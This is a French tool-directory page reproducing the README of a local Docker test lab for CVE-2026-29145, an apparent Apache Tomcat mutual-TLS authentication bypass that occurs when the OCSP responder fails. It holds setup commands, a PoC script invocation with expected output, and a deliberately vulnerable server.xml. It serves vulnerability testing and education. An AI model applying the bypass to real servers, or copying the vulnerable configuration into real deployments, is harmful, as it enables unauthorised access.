Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29145-Tester — Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145. | Kitploit
Outils/GitHubGitHub/sancliffe/cve-2026-29145-tester
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubsancliffe/cve-2026-29145-tester

CVE-2026-29145-Tester

Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.

Voir le dépôt
19il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de test CVE-2026-29145

📌 Vue d'ensemble

Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.

La vulnérabilité est un contournement d'authentification dans l'implémentation du TLS mutuel (CLIENT_CERT) d'Apache Tomcat. Lorsque l'OCSP (Online Certificate Status Protocol) est configuré avec l'option soft-fail désactivée, Tomcat peut ne pas traiter un échec de vérification OCSP comme un refus strict. Cela permet à un client disposant d'un certificat potentiellement révoqué ou non vérifié de contourner l'authentification si le répondeur OCSP est injoignable ou renvoie une erreur.

🛡️ Détails de la vulnérabilité

PropriétéValeur
ID CVECVE-2026-29145
Score CVSS9.1 (Critique) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vecteur d'attaqueRéseau
Privilèges requisAucun
ImpactContournement d'authentification

Prérequis pour la vulnérabilité

  • ✓ Authentification CLIENT_CERT activée dans Tomcat
  • ✓ Vérification de révocation OCSP activée
  • ✓ Option soft-fail désactivée (mode hard-fail)
  • ✓ Répondeur OCSP injoignable ou en échec

🚀 Pour commencer

Prérequis

  • Docker & Docker Compose : Pour exécuter le conteneur Tomcat vulnérable
  • OpenSSL : Pour générer la PKI (Infrastructure à clés publiques) - généralement préinstallé sur Linux/macOS
  • Python 3.7+ : Pour exécuter le script de test et le répondeur simulé
  • curl (optionnel) : Pour les tests manuels
  • PowerShell (Windows uniquement) : Si vous utilisez les scripts .ps1

1. Cycle de test complet automatisé (recommandé)

Le script run_test.sh automatise l'ensemble du processus : nettoyage, génération de certificats et exécution de tous les scénarios de test (vulnérable, succès et corrigé).

# Naviguer vers le répertoire du projet
cd CVE-2026-29145-Tester

# Rendre les scripts exécutables
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Installer les dépendances Python (si poc_exploit.py les requiert)
pip install -r requirements.txt

# Exécuter la suite de tests complète
./run_test.sh

2. Générer les certificats

Sur Linux/macOS :

./setup_certs.sh

Sur Windows (PowerShell) :

.\setup_certs.ps1

Ce que cela fait :

  • Crée une AC racine (Autorité de certification)
  • Génère le certificat serveur pour Tomcat
  • Génère le certificat client avec l'extension OCSP pointant vers http://localhost:8888
  • Valide que tous les certificats ont été créés avec succès

Sortie attendue :

[INFO] Démarrage de la génération de certificats pour l'environnement de test CVE-2026-29145
[INFO] OpenSSL trouvé : OpenSSL 3.0.x (...)
[INFO] Répertoire certs créé
[INFO] Génération de l'AC racine...
[INFO] Génération du certificat serveur...
[INFO] Génération du certificat client avec extension OCSP...
[INFO] Configuration des certificats terminée avec succès !

3. Démarrer l'environnement vulnérable

docker-compose up -d

Ce que cela fait :

  • Démarre le répondeur simulé OCSP sur le port 8888 (simule un échec avec HTTP 500)
  • Démarre Tomcat 10.1.52 vulnérable sur le port 8443 avec l'authentification CLIENT_CERT
  • Crée un réseau Docker interne pour la communication entre services
  • Configure des contrôles de santé pour les deux services

Vérifier que les conteneurs sont en cours d'exécution :

docker-compose ps

4. Exécuter le test d'exploitation

python poc_exploit.py

Sorties attendues :

Système vulnérable :

[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[WARNING] VULNÉRABLE : Accès accordé malgré l'échec de la vérification OCSP.
[WARNING] Aperçu de la réponse : <html>...

Système corrigé :

[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[INFO] NON VULNÉRABLE : Accès refusé (authentification fonctionnelle).

🧪 Scénarios de test

ScénarioStatut OCSPAttendu (Corrigé)Résultat (Vulnérable)Notes
Fonctionnement normalEn ligne et valide200 OK ✓200 OK ✓La vérification OCSP réussit, accès accordé
Échec logicielHors ligne/Délai dépassé403 Interdit ✓200 OK ✗CONTOURNEMENT - Répondeur OCSP injoignable
Révocation stricteEn ligne et révoqué403 Interdit ✓403 Interdit ✓Certificat explicitement révoqué
Certificat invalideChaîne invalide403 Interdit ✓403 Interdit ✓La validation de la chaîne échoue

Exécution de différents scénarios de test

Test 1 : Par défaut (répondeur OCSP en échec)

# Garder les conteneurs en cours d'exécution
python poc_exploit.py

Test 2 : Arrêter le répondeur OCSP (simuler un délai dépassé)

docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Test 3 : Test manuel avec curl

curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Structure du projet

CVE-2026-29145-Tester/
├── README.md                    # Ce fichier
├── setup_certs.sh              # Script de génération de certificats - Bash (Linux/macOS)
├── setup_certs.ps1             # Script de génération de certificats - PowerShell (Windows)
├── cleanup.sh                  # Script de nettoyage et de réinitialisation - Bash (Linux/macOS)
├── cleanup.ps1                 # Script de nettoyage et de réinitialisation - PowerShell (Windows)
├── run_test.sh                 # Script de cycle de test complet automatisé
├── docker-compose.yml          # Orchestration des services Docker
├── requirements.txt            # Dépendances Python
├── poc_exploit.py              # Script de test principal (avec journalisation et gestion des erreurs)
├── simple_proxy_fail.py        # Répondeur simulé OCSP (avec journalisation détaillée)
├── .gitignore                  # Règles d'ignorance Git pour les certificats et journaux
├── certs/                      # Certificats générés (créés par les scripts setup_certs)
│   ├── ca-chain.pem           # Certificat de l'AC racine
│   ├── ca-key.pem             # Clé privée de l'AC racine
│   ├── server-cert.pem        # Certificat serveur Tomcat
│   ├── server-key.pem         # Clé privée du serveur Tomcat
│   ├── client-cert.pem        # Certificat client de test
│   └── client-key.pem         # Clé privée du client de test
├── tomcat/
│   └── server.xml             # Configuration Tomcat vulnérable
└── logs/                       # Journaux Tomcat (créés à l'exécution)

📋 Détails de configuration

Configuration Server.xml (vulnérable)

Le fichier tomcat/server.xml configure :

<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Paramètres clés :

  • certificateVerification="required" - Applique l'authentification CLIENT_CERT
  • OCSP on - Active la vérification de révocation OCSP
  • Aucune substitution soft-fail - Utilise le mode hard-fail (vulnérable)

Configuration du répondeur OCSP

Le répondeur simulé OCSP (simple_proxy_fail.py) :

  • Écoute sur localhost:8888
  • Renvoie toujours HTTP 500 (Erreur serveur)
  • Journalise toutes les requêtes OCSP entrantes
  • Simule un service OCSP injoignable/en échec

🔧 Dépannage

Problèmes courants et solutions

❌ Erreur : « OpenSSL n'est pas installé »

# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Erreur : « Fichiers de certificats manquants »

Cause : La génération des certificats a échoué ou n'a pas été exécutée.

Télécharger l’outil